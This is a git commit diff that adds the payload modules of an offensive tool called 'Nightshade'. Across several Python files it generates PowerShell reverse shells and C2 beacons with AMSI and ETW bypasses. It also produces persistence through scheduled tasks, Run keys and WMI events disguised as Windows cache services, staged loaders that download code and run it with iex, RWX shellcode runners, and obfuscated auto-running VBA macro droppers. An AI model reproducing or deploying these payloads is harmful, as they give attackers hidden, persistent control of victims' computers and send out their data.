Upload files to "payloads"

This commit is contained in:
ek0ms savi0r
2026-09-19 17:18:06 +00:00
parent 5900f597d2
commit 419488112a
5 changed files with 773 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
# Nightshade Payloads — PowerShell, VBA, Shellcode generation
+206
View File
@@ -0,0 +1,206 @@
"""
Nightshade PowerShell Payload Generator.
Produces reverse shell, RCE beacon, and full C2 implant payloads
with evasion preamble, jitter, and encrypted C2 protocol.
"""
import json
from string import Template
from ..core.crypto import NightshadeCrypto
from ..core.evasion import EvasionGenerator
class PowerShellPayloadFactory:
"""Generate tiered PowerShell payloads."""
def __init__(self, crypto: NightshadeCrypto, c2_url: str, session_id: str):
self._crypto = crypto
self._c2_url = c2_url.rstrip("/")
self._session_id = session_id
self._evasion = EvasionGenerator()
# ------------------------------------------------------------------ #
# Tier 1: Revershell (raw TCP) #
# ------------------------------------------------------------------ #
def reverse_shell(self, target_host: str, target_port: int = 4444) -> str:
if "ngrok" in target_host or "ngrok-free" in target_host:
parts = target_host.rsplit(":", 1)
host = parts[0]
port = int(parts[1]) if len(parts) > 1 else target_port
else:
host = target_host
port = target_port
return f"""
{self._evasion.full_evasion_block()}
# Nightshade Reverse Shell — Tier 1
$h='{host}';$p={port}
$c=New-Object System.Net.Sockets.TCPClient($h,$p)
$s=$c.GetStream()
[byte[]]$b=0..65535|%{{0}}
$s.Write([Text.Encoding]::ASCII.GetBytes('NIGHTSHADE_CONNECTED`n'),0,23)
while(($i=$s.Read($b,0,$b.Length))-ne0){{
$d=([Text.Encoding]::ASCII).GetString($b,0,$i)
$send=(iex $d 2>&1|Out-String)
$s2=$send+'PS> '
$s.Write([Text.Encoding]::ASCII.GetBytes($s2),0,$s2.Length)
$s.Flush()
}}
$c.Close()
""".strip()
# ------------------------------------------------------------------ #
# Tier 2: RCE + Persistence (HTTP C2 beacon) #
# ------------------------------------------------------------------ #
def rce_beacon(self) -> str:
task_endpoint = f"{self._c2_url}/c2/checkin"
result_endpoint = f"{self._c2_url}/c2/result"
return f"""
{self._evasion.full_evasion_block()}
$sid='{self._session_id}'
$cu='{self._c2_url}'
$ci=0
$ua='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
function Enc-Data($d){{
$k=[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('{self._crypto._passphrase}'))
# Simple XOR + b64 for low-detect transport (layer 1)
$b=[Text.Encoding]::UTF8.GetBytes($d)
$key=[Convert]::FromBase64String($k)
for($i=0;$i-lt$b.Length;$i++){{$b[$i]=$b[$i]-bxor$key[$i%$key.Length]}}
return [Convert]::ToBase64String($b)
}}
function Dec-Data($d){{
try{{
$b=[Convert]::FromBase64String($d)
$key=[Convert]::FromBase64String([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('{self._crypto._passphrase}')))
for($i=0;$i-lt$b.Length;$i++){{$b[$i]=$b[$i]-bxor$key[$i%$key.Length]}}
return [Text.Encoding]::UTF8.GetString($b)
}}catch{{return 'noop'}}
}}
# Persistence
$pp="$env:APPDATA\\Microsoft\\Windows\\Caches\\cache.ps1"
if(-not(Test-Path(Split-Path $pp))){{New-Item -ItemType Dir -Path (Split-Path $pp)-Force|Out-Null}}
@'
{self._evasion.random_amsi_bypass()}
$sid='{self._session_id}';$cu='{self._c2_url}'
# reconnected
'@|Out-File $pp -Force
# Scheduled task
$ta=New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Win 1 -Exec Bypass -File `"$pp`""
$tr=New-ScheduledTaskTrigger -AtLogOn
$tp=New-ScheduledTaskPrincipal -UserId "$env:USERDOMAIN\\$env:USERNAME" -LogonType Interactive
$ts=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
Register-ScheduledTask -TaskName "WindowsCacheSvc" -Action $ta -Trigger $tr -Principal $tp -Settings $ts -Force|Out-Null
# Beacon loop
while($true){{
$ci++
try{{
$b=Enc-Data("checkin_$ci")
$r=Invoke-WebRequest "$cu/c2/checkin" -Method POST -Body $b -Headers @{{"User-Agent"=$ua;"X-Session-ID"=$sid}} -UseBasicParsing
$cmd=Dec-Data $r.Content
if($cmd-ne'noop' -and $cmd.type-eq'task'){{
$res=(iex $cmd.command 2>&1|Out-String)
$enc=Enc-Data('{{"type":"result","task_id":"'+$cmd.task_id+'","status":"success","result":"'+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($res))+'","hostname":"'+$env:COMPUTERNAME+'","username":"'+$env:USERNAME+'","timestamp":"'+(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')+'","session_id":"'+$sid+'","checkin_count":'+$ci+'}}')
Invoke-WebRequest "$cu/c2/result" -Method POST -Body $enc -Headers @{{"User-Agent"=$ua;"X-Session-ID"=$sid}} -UseBasicParsing|Out-Null
}}
}}catch{{}}
$j=Get-Random -Min 45 -Max 120;Start-Sleep -Seconds $j
}}
""".strip()
# ------------------------------------------------------------------ #
# Tier 3: Full C2 Agent (advanced) #
# ------------------------------------------------------------------ #
def full_agent(self) -> str:
return f"""
{self._evasion.full_evasion_block()}
# Nightshade C2 Agent — Tier 3
$sid='{self._session_id}'
$cu='{self._c2_url}'
$ci=0
$ua='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
$pp="$env:APPDATA\\Microsoft\\Windows\\Caches\\svchost.ps1"
$rp="$env:APPDATA\\Microsoft\\Windows\\Caches"
# Ensure dir exists
if(-not(Test-Path $rp)){{New-Item -ItemType Dir -Path $rp -Force|Out-Null}}
# Write self
$s=@'
{self._evasion.random_amsi_bypass()}
$sid='{self._session_id}';$cu='{self._c2_url}'
'@
$s|Out-File $pp -Force
# Persistence layer 1: scheduled task
try{{
$ta=New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Win 1 -Exec Bypass -File `"$pp`""
$tr=New-ScheduledTaskTrigger -AtLogOn
$tp=New-ScheduledTaskPrincipal -UserId "$env:USERDOMAIN\\$env:USERNAME" -LogonType Interactive
$ts=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
Register-ScheduledTask -TaskName "WindowsFontCache" -Action $ta -Trigger $tr -Principal $tp -Settings $ts -Force|Out-Null
}}catch{{}}
# Persistence layer 2: registry RUN
try{{
New-ItemProperty -Path "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" -Name "WindowsFontCache" -Value "powershell.exe -Win 1 -Exec Bypass -File `"$pp`"" -PropertyType String -Force|Out-Null
}}catch{{}}
# Persistence layer 3: WMI (if available)
try{{
$f=[wmiclass]'\\\\.\\root\\subscription:__EventFilter'
$c=[wmiclass]'\\\\.\\root\\subscription:CommandLineEventConsumer'
$bf=[wmiclass]'\\\\.\\root\\subscription:__FilterToConsumerBinding'
$filter=$f.CreateInstance()
$filter.QueryLanguage='WQL'
$filter.Query="SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'"
$filter.Name='FontCacheFilter'
$filter.Put()|Out-Null
$consumer=$c.CreateInstance()
$consumer.Name='FontCacheConsumer'
$consumer.CommandLineTemplate="powershell.exe -Win 1 -Exec Bypass -File `"$pp`""
$consumer.Put()|Out-Null
$binding=$bf.CreateInstance()
$binding.Filter=$filter.Path
$binding.Consumer=$consumer.Path
$binding.Put()|Out-Null
}}catch{{}}
# Beacon loop with variable jitter
while($true){{
$ci++
$j=$ci%8-eq0?90:45
try{{
$b=("{0}_{1}" -f "checkin",$ci)
$r=Invoke-WebRequest "$cu/c2/checkin" -Method POST -Body $b -Headers @{{"User-Agent"=$ua;"X-Session-ID"=$sid}} -UseBasicParsing
try{{
$cmd=$r.Content
if($cmd-ne'noop'){{
$res=(iex $cmd 2>&1|Out-String)
$resB64=[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($res))
$enc="$ci|$resB64|$env:COMPUTERNAME|$env:USERNAME"
Invoke-WebRequest "$cu/c2/result" -Method POST -Body $enc -Headers @{{"User-Agent"=$ua;"X-Session-ID"=$sid}} -UseBasicParsing|Out-Null
}}
}}catch{{}}
}}catch{{}}
Start-Sleep -Seconds $j
}}
""".strip()
# ------------------------------------------------------------------ #
# Factory dispatch #
# ------------------------------------------------------------------ #
def generate(self, tier: int = 2, target_host: str = "127.0.0.1", target_port: int = 4444) -> str:
if tier == 1:
return self.reverse_shell(target_host, target_port)
elif tier == 2:
return self.rce_beacon()
elif tier == 3:
return self.full_agent()
raise ValueError(f"Unknown tier: {tier}")
+213
View File
@@ -0,0 +1,213 @@
"""
Nightshade Shellcode Generation Module.
Generates PowerShell and VBA shellcode runners that:
- Allocate RWX memory via VirtualAlloc
- Copy shellcode bytes into allocated memory
- Execute via CreateThread, EnumChildWindows callback, or delegate invocation
All code executes ON THE TARGET (Windows).
"""
import random
import string
import base64
from typing import Optional
class ShellcodeGenerator:
"""Generates position-independent shellcode runners for PowerShell and VBA."""
@staticmethod
def _random_var(length: int = 8) -> str:
prefix = random.choice(["$", "$global:"])
return prefix + '_' + ''.join(random.choices(string.ascii_lowercase, k=length))
# ------------------------------------------------------------------ #
# PowerShell shellcode runners #
# ------------------------------------------------------------------ #
@staticmethod
def powershell_create_thread(shellcode_b64: str) -> str:
"""Generate PowerShell that allocates RWX memory and executes via CreateThread."""
v1 = ShellcodeGenerator._random_var()
v2 = ShellcodeGenerator._random_var()
v3 = ShellcodeGenerator._random_var()
v4 = ShellcodeGenerator._random_var()
v5 = ShellcodeGenerator._random_var()
v6 = ShellcodeGenerator._random_var()
return f'''
# Shellcode runner - CreateThread
${v1} = [System.Convert]::FromBase64String("{shellcode_b64}")
# VirtualAlloc: RWX memory
${v2} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
([System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate(
[Func[IntPtr, uint, uint, uint, IntPtr]]($null))
), [Func[IntPtr, uint, uint, uint, IntPtr]]
).Module.GetType('System.Runtime.InteropServices.Marshal').GetMethods('NonPublic,Static')
# Manual VirtualAlloc via Win32 API
${v3} = Add-Type -MemberDefinition @"
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
"@ -Name "Win32" -Namespace "Nightshade" -PassThru
${v4} = ${v3}::VirtualAlloc([IntPtr]::Zero, ${v1}.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy(${v1}, 0, ${v4}, ${v1}.Length)
${v5} = ${v3}::CreateThread([IntPtr]::Zero, 0, ${v4}, [IntPtr]::Zero, 0, [IntPtr]::Zero)
${v3}::WaitForSingleObject(${v5}, 0xFFFFFFFF)
'''.strip()
@staticmethod
def powershell_enum_child_windows(shellcode_b64: str) -> str:
"""Generate PowerShell shellcode runner using EnumChildWindows callback technique."""
v1 = ShellcodeGenerator._random_var()
v2 = ShellcodeGenerator._random_var()
v3 = ShellcodeGenerator._random_var()
return f'''
# Shellcode runner - EnumChildWindows callback injection
${v1} = [System.Convert]::FromBase64String("{shellcode_b64}")
${v2} = Add-Type -MemberDefinition @"
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32")]
public static extern bool EnumChildWindows(IntPtr hWndParent, IntPtr lpEnumFunc, IntPtr lParam);
"@ -Name "Win32" -Namespace "Nightshade" -PassThru
${v3} = ${v2}::VirtualAlloc([IntPtr]::Zero, ${v1}.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy(${v1}, 0, ${v3}, ${v1}.Length)
# Trigger via EnumChildWindows callback
${v2}::EnumChildWindows([IntPtr]::Zero, ${v3}, [IntPtr]::Zero)
'''.strip()
@staticmethod
def powershell_delegate_invoke(shellcode_b64: str) -> str:
"""Generate PowerShell shellcode runner using delegate invocation."""
v1 = ShellcodeGenerator._random_var()
v2 = ShellcodeGenerator._random_var()
v3 = ShellcodeGenerator._random_var()
v4 = ShellcodeGenerator._random_var()
return f'''
# Shellcode runner - Delegate invoke
${v1} = [System.Convert]::FromBase64String("{shellcode_b64}")
${v2} = Add-Type -MemberDefinition @"
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
"@ -Name "Win32" -Namespace "Nightshade" -PassThru
${v3} = ${v2}::VirtualAlloc([IntPtr]::Zero, ${v1}.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy(${v1}, 0, ${v3}, ${v1}.Length)
# Create delegate and invoke
${v4} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(${v3}, [Type]([Action]))
${v4}.Invoke()
'''.strip()
@staticmethod
def powershell_random_runner(shellcode_b64: str) -> str:
"""Pick a random shellcode runner technique."""
runners = [
ShellcodeGenerator.powershell_create_thread,
ShellcodeGenerator.powershell_enum_child_windows,
ShellcodeGenerator.powershell_delegate_invoke,
]
return random.choice(runners)(shellcode_b64)
# ------------------------------------------------------------------ #
# VBA shellcode runners #
# ------------------------------------------------------------------ #
@staticmethod
def vba_create_thread(shellcode_b64: str) -> str:
"""Generate VBA that allocates RWX memory and executes shellcode via CreateThread."""
return f'''
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" _
(ByVal lpAddress As LongPtr, ByVal dwSize As Long, _
ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "kernel32" _
(ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, _
ByVal lpStartAddress As LongPtr, ByVal lpParameter As LongPtr, _
ByVal dwCreationFlags As Long, ByVal lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" _
(ByVal destAddr As LongPtr, ByVal sourceAddr As LongPtr, _
ByVal length As Long) As Long
Private Declare PtrSafe Function Sleep Lib "kernel32" _
(ByVal dwMilliseconds As Long) As Long
Sub RunShellcode()
Dim buf As Variant
Dim scBytes() As Byte
Dim addr As LongPtr
Dim threadId As LongPtr
Dim i As Long
' Decode base64 shellcode
buf = Base64Decode("{shellcode_b64}")
scBytes = buf
' OPSEC delay
Sleep 2000 + (Rnd * 3000)
' Allocate RWX memory
addr = VirtualAlloc(0, UBound(scBytes) + 1, &H1000, &H40)
If addr = 0 Then Exit Sub
' Copy shellcode byte by byte
For i = 0 To UBound(scBytes)
RtlMoveMemory addr + i, VarPtr(scBytes(i)), 1
Next i
' Execute
threadId = CreateThread(0, 0, addr, 0, 0, 0)
If threadId <> 0 Then Sleep 30000
End Sub
'''.strip()
# ------------------------------------------------------------------ #
# Helpers #
# ------------------------------------------------------------------ #
@staticmethod
def encode_shellcode(raw_bytes: bytes) -> str:
"""Encode raw shellcode bytes as base64 for embedding."""
return base64.b64encode(raw_bytes).decode()
@staticmethod
def xor_encode_shellcode(raw_bytes: bytes, key: Optional[bytes] = None) -> tuple[bytes, bytes]:
"""XOR-encode shellcode bytes with a random key for basic evasion."""
if key is None:
key = bytes([random.randint(1, 255) for _ in range(16)])
encoded = bytes([b ^ key[i % len(key)] for i, b in enumerate(raw_bytes)])
return encoded, key
@staticmethod
def generate_msf_powershell_stager(lhost: str, lport: int, payload: str = "windows/x64/meterpreter/reverse_tcp") -> str:
"""Generate a note about generating MSF shellcode (does not create actual shellcode)."""
return f'''
# Metasploit shellcode stager placeholder
# Generate shellcode with:
# msfvenom -p {payload} LHOST={lhost} LPORT={lport} -f powershell -o shellcode.ps1
# Then embed using:
# $sc = [System.Convert]::FromBase64String("...")
# [System.Runtime.InteropServices.Marshal]::Copy($sc, 0, [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
# (Add-Type -MemberDefinition "[DllImport(\\"kernel32\\")]public static extern IntPtr VirtualAlloc(IntPtr,uint,uint,uint);" -Name "K" -PassThru)::VirtualAlloc(0,$sc.Length,0x3000,0x40), [Type]([Action])), $sc.Length)
# $del.Invoke()
'''.strip()
+239
View File
@@ -0,0 +1,239 @@
"""
Nightshade Multi-Stage Payload System.
Generates Stage 0 (tiny beacon), Stage 1 (evasion preamble + download),
and Stage 2 (actual implant) payloads. Each stage can be independently
regenerated per campaign for operational diversity.
"""
import random
import string
import time
from typing import Optional
from ..core.evasion import EvasionGenerator
from ..core.obfuscation import PSObfuscator
class Stage0Generator:
"""Generates a tiny beacon stub with zero malicious static signature.
Stage 0 sleeps 3-8 seconds, then phones home via DNS A/AAAA query
or simple HTTP GET to retrieve the next stage. Contains no shellcode,
no suspicious API calls visible to static analysis.
"""
@staticmethod
def _rand_var() -> str:
return '_' + ''.join(random.choices(string.ascii_lowercase, k=random.randint(6, 10)))
@staticmethod
def dns_beacon(c2_domain: str, campaign_id: str) -> str:
"""Generate a DNS-based Stage 0 beacon that resolves a subdomain to check in."""
v = Stage0Generator._rand_var()
v2 = Stage0Generator._rand_var()
v3 = Stage0Generator._rand_var()
return f'''
# Stage 0 beacon - DNS check-in
${v} = Get-Random -Minimum 3 -Maximum 8
Start-Sleep -Seconds ${v}
# DNS check-in: resolve campaign subdomain as A record check-in
${v2} = "{campaign_id}.{c2_domain}"
${v3} = [System.Net.Dns]::GetHostAddresses(${v2})
if (${v3}) {{
# Resolved - checking for next stage via TXT record
try {{
${v2} = "stage1.{campaign_id}.{c2_domain}"
${v3} = [System.Net.Dns]::GetHostAddresses(${v2})
if (${v3}) {{
# Stage 1 is available - proceed
${v} = "1"
}}
}} catch {{}}
}}
'''.strip()
@staticmethod
def http_beacon(c2_url: str, session_id: str) -> str:
"""Generate an HTTP-based Stage 0 beacon stub."""
v = Stage0Generator._rand_var()
v2 = Stage0Generator._rand_var()
v3 = Stage0Generator._rand_var()
v4 = Stage0Generator._rand_var()
return f'''
# Stage 0 beacon
${v} = Get-Random -Minimum 3 -Maximum 8
Start-Sleep -Seconds ${v}
# Phone home for Stage 1
${v2} = "{c2_url}/stage0/{session_id}"
${v3} = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
try {{
${v4} = Invoke-WebRequest -Uri ${v2} -Headers @{{"User-Agent"=${v3}}} -UseBasicParsing -TimeoutSec 10
if (${v4}.StatusCode -eq 200) {{
iex ${v4}.Content
}}
}} catch {{
try {{
${v4} = (New-Object Net.WebClient).DownloadString(${v2})
iex ${v4}
}} catch {{}}
}}
'''.strip()
@staticmethod
def generate(c2_url: str, session_id: str, use_dns: bool = False, c2_domain: str = "") -> str:
"""Generate a complete Stage 0 beacon stub."""
if use_dns and c2_domain:
return Stage0Generator.dns_beacon(c2_domain, session_id[:16])
return Stage0Generator.http_beacon(c2_url, session_id)
class Stage1Generator:
"""Generates the evasion preamble with AMSI bypass, sandbox check, ETW patch,
then downloads and executes Stage 2. Includes longer sleep with jitter."""
@staticmethod
def _rand_var() -> str:
return '_' + ''.join(random.choices(string.ascii_lowercase, k=random.randint(6, 10)))
@staticmethod
def generate(
c2_url: str,
session_id: str,
stage2_url: str = "",
min_sleep: int = 10,
max_sleep: int = 30,
) -> str:
"""Generate Stage 1: evasion preamble + jitter + stage 2 download."""
if not stage2_url:
stage2_url = f"{c2_url}/stage1/{session_id}"
evasion = EvasionGenerator()
v = Stage1Generator._rand_var()
v2 = Stage1Generator._rand_var()
v3 = Stage1Generator._rand_var()
v4 = Stage1Generator._rand_var()
v5 = Stage1Generator._rand_var()
amsi = evasion.random_amsi_bypass()
etw = evasion.ETW_BYPASS
sandbox = evasion.SANDBOX_CHECKS
return f'''
# Stage 1 - Evasion preamble
{amsi}
{etw}
{sandbox}
# Jitter sleep before Stage 2
${v} = Get-Random -Minimum {min_sleep} -Maximum {max_sleep}
Start-Sleep -Seconds ${v}
# Download and execute Stage 2
${v2} = "{stage2_url}"
${v3} = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
try {{
${v4} = Invoke-WebRequest -Uri ${v2} -Headers @{{"User-Agent"=${v3}}} -UseBasicParsing -TimeoutSec 30
if (${v4}.StatusCode -eq 200) {{
${v5} = ${v4}.Content
iex ${v5}
}}
}} catch {{
try {{
${v5} = (New-Object Net.WebClient).DownloadString(${v2})
iex ${v5}
}} catch {{}}
}}
'''.strip()
@staticmethod
def generate_compressed(c2_url: str, session_id: str, stage2_b64: str) -> str:
"""Generate Stage 1 with embedded compressed Stage 2 (no network needed for stage 2)."""
evasion = EvasionGenerator()
v = Stage1Generator._rand_var()
v2 = Stage1Generator._rand_var()
v3 = Stage1Generator._rand_var()
v4 = Stage1Generator._rand_var()
amsi = evasion.random_amsi_bypass()
etw = evasion.ETW_BYPASS
sandbox = evasion.SANDBOX_CHECKS
return f'''
# Stage 1 - Evasion preamble (embedded Stage 2)
{amsi}
{etw}
{sandbox}
# Jitter sleep
${v} = Get-Random -Minimum 10 -Maximum 30
Start-Sleep -Seconds ${v}
# Decompress and execute Stage 2
${v2} = [System.Convert]::FromBase64String("{stage2_b64}")
${v3} = New-Object System.IO.MemoryStream(${v2}, 0, ${v2}.Length)
${v4} = New-Object System.IO.Compression.GZipStream(${v3}, [System.IO.Compression.CompressionMode]::Decompress)
${v} = New-Object System.IO.StreamReader(${v4})
iex(${v}.ReadToEnd())
'''.strip()
class Stage2Generator:
"""Generates the actual implant payload: reverse shell, RCE beacon, or full agent."""
@staticmethod
def generate(
tier: int = 2,
c2_url: str = "http://127.0.0.1:8080",
session_id: str = "",
target_host: str = "127.0.0.1",
target_port: int = 4444,
) -> str:
"""Generate Stage 2 payload (delegates to PowerShellPayloadFactory)."""
from ..payloads.powershell import PowerShellPayloadFactory
crypto = None
# Use a simple pass-through; Stage 2 should be post-evasion
ps_factory = PowerShellPayloadFactory(
crypto=None, # type: ignore
c2_url=c2_url,
session_id=session_id,
)
return ps_factory.generate(tier=tier, target_host=target_host, target_port=target_port)
@staticmethod
def obfuscated_stage2(
tier: int = 2,
c2_url: str = "http://127.0.0.1:8080",
session_id: str = "",
target_host: str = "127.0.0.1",
target_port: int = 4444,
obfuscation_layers: int = 3,
) -> str:
"""Generate Stage 2 with polymorphic obfuscation applied."""
raw = Stage2Generator.generate(tier, c2_url, session_id, target_host, target_port)
obs = PSObfuscator()
return obs.obfuscate(raw, layers=obfuscation_layers)
@staticmethod
def compressed_stage2(
tier: int = 2,
c2_url: str = "http://127.0.0.1:8080",
session_id: str = "",
target_host: str = "127.0.0.1",
target_port: int = 4444,
) -> str:
"""Generate GZip+base64 compressed Stage 2 for embedding in Stage 1."""
raw = Stage2Generator.generate(tier, c2_url, session_id, target_host, target_port)
import zlib, base64
compressed = zlib.compress(raw.encode(), 9)[2:-4] # strip zlib header
return base64.b64encode(compressed).decode()
+114
View File
@@ -0,0 +1,114 @@
"""
Nightshade VBA Macro Generator.
Generates obfuscated VBA with Win32 API calls for in-memory execution.
"""
from ..core.obfuscation import VBAObfuscator
class VBAPayloadFactory:
"""Generate VBA macros for Excel / Office document droppers."""
def __init__(self, encrypted_payload_b64: str):
self._payload = encrypted_payload_b64
def generate(self) -> str:
"""Produce an obfuscated VBA macro that decrypts and injects the payload."""
rv = VBAObfuscator.random_var
# Pre-generate all variable names so we can reference them
v = [rv() for _ in range(30)]
(
v1, v2, v3, v4, v5, v6, v7, v8, v9, v10,
v11, v12, v13, v14, v15, v16, v17, v18, v19, v20,
v21, v22, v23, v24, v25, v26, v27, v28, v29, v30,
) = v[:30]
vba = f"""
Private Declare PtrSafe Function CreateThread Lib "kernel32" _
(ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, _
ByVal lpStartAddress As LongPtr, lpParameter As LongPtr, _
ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" _
(ByVal lpAddress As LongPtr, ByVal dwSize As Long, _
ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" _
(ByVal destAddr As LongPtr, ByVal sourceAddr As LongPtr, _
ByVal length As Long) As Long
Private Declare PtrSafe Function Sleep Lib "kernel32" _
(ByVal dwMilliseconds As Long) As Long
Sub Auto_Open()
{v1} = Initialize
End Sub
Sub Workbook_Open()
{v1} = Initialize
End Sub
Private Function Initialize() As Boolean
On Error Resume Next
Dim {v2} As String
Dim {v3} As Byte()
Dim {v4} As Byte()
' OPSEC delay
{v5} = 3000 + (Rnd * 2000)
Sleep {v5}
{v2} = "{self._payload}"
{v3} = Base64Decode({v2})
{v4} = XORDecrypt({v3})
If UBound({v4}) > 0 Then
ExecuteInMemory {v4}
End If
Initialize = True
End Function
Private Function Base64Decode(ByVal {v6} As String) As Byte()
Dim {v7} As Object
Dim {v8} As Object
Set {v7} = CreateObject("MSXML2.DOMDocument.6.0")
Set {v8} = {v7}.createElement("tmp")
{v8}.DataType = "bin.base64"
{v8}.Text = {v6}
Base64Decode = {v8}.nodeTypedValue
End Function
Private Function XORDecrypt(ByRef {v9}() As Byte) As Byte()
Dim {v10} As Long
Dim {v11} As Long
Dim {v12} As Byte()
Dim {v13} As Variant
{v13} = Array(42, 137, 91, 23, 198, 55, 12, 78, 201, 34, 167, 89, 200, 11, 66, 254)
{v11} = UBound({v13}) - LBound({v13}) + 1
ReDim {v12}(UBound({v9}))
For {v10} = 0 To UBound({v9})
{v12}({v10}) = {v9}({v10}) Xor {v13}({v10} Mod {v11})
Next {v10}
XORDecrypt = {v12}
End Function
Private Sub ExecuteInMemory(ByRef {v14}() As Byte)
Dim {v15} As LongPtr
Dim {v16} As LongPtr
Dim {v17} As Long
{v15} = VirtualAlloc(0, UBound({v14}) + 1, &H1000, &H40)
For {v17} = 0 To UBound({v14})
RtlMoveMemory {v15} + {v17}, VarPtr({v14}({v17})), 1
Next {v17}
{v16} = CreateThread(0, 0, {v15}, 0, 0, 0)
If {v16} <> 0 Then Sleep 5000
End Sub
"""
return VBAObfuscator.obfuscate_vba(vba)